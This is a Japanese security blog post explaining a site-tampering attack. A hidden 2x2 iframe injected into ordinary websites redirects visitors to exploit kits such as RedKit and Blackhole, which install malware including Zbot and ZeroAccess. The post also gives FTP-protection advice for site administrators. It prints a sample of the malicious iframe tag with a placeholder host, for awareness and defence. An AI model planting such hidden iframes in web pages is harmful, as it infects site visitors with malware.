サイト改ざんiframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 ~
これは普通の一般サイトに悪意のある第三者が挿入した不正な<IFRAME>タグになります。
<挿入位置はHTMLタグの最後尾付近

<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://(乗っ取られてる正規サイト)/***.html?i=(数字)></iframe>
『name=Twitter』なんてな文字列が見えるけど、つぶやきサービス Twitter に関連するコードではいっさいありませんよぅ! 

この不正なタグが仕掛れられてる一般サイトを閲覧した瞬間に、強制的なウイルス感染となるドライブバイ・ダウンロードという攻撃が発動します。
サイトがハッキングされるきっかけは?
サイト管理者が使用するWindowsパソコンが何かしらウイルスに感染して、インストールされてるFTPソフトからアカウント情報が抜き取られた可能性があります。
- Win32/Fareit ← 大部分がこっち
- Win32/Kelihos
というのも、CGIやPHPが利用できない無料ホームページサービスのサイトがだいぶ殺られてるためです。
★ FTPソフトのウイルス対策 (サイト管理者向け)
【1】 FTPソフトがサポートしてるマスターパスワード機能を活用して、設定データからアカウント情報を引っこ抜かれないようにしましょう。 (FFFTPの解説)
【2】 マスターパスワード機能をサポートしておらず、パスワード文字列を生身の状態で出力する無料FTPソフト FileZilla は、ぜっっっったいにパスワードを保存してはいけません。危険!
ブラウザ内部で読み込まされるエクスプロイトキット
「RedKit Exploit Kit」と呼ばれるWebアプリケーションが仕込まれたページヘ転送されます。
- Java ← 記事投稿時点で攻撃処理あり
- Adobe Reader ← 記事投稿時点で攻撃処理あり
- Adobe Flash Player
- Windows Update
また、「Blackhole Exploit Kit」と呼ばれるWebアプリケーションが仕込まれたページヘ転送されるパターンも確認してます。
- Java ← 記事投稿時点で攻撃処理あり
- Adobe Reader ← 記事投稿時点で攻撃処理あり
- Adobe Flash Player ← 記事投稿時点で攻撃処理あり
- Windows Update
4系統の旧バージョンに存在する危険な脆弱性(ぜいじゃくせい)を悪用したウイルス感染攻撃処理がブラウザ内部で行われます。
対策をしてないユーザーに配信されるマルウェアたち
下のようなマルウェアが単品で送り込まれる、あるいは複数一挙に送り込まれるでしょう。 

- TrojanDownloader:Win32/Karagany ... 別のマルウェアをダウンロードし起動する
- PWS:Win32/Fareit ... FTPソフトやブラウザの設定データなど機密情報を引っこ抜く
- Trojan:Win32/Sirefef ... ZeroAccessルートキット
- Rouge:Win32/Winwebsec ... 偽セキュリティソフト
- PWS:Win32/Zbot ... 偽画面で話題のネット銀行ウイルス
- Rouge:Win32/FakeDef ... 偽セキュリティソフト
- Worm:Win32/Cridex ... バックドア
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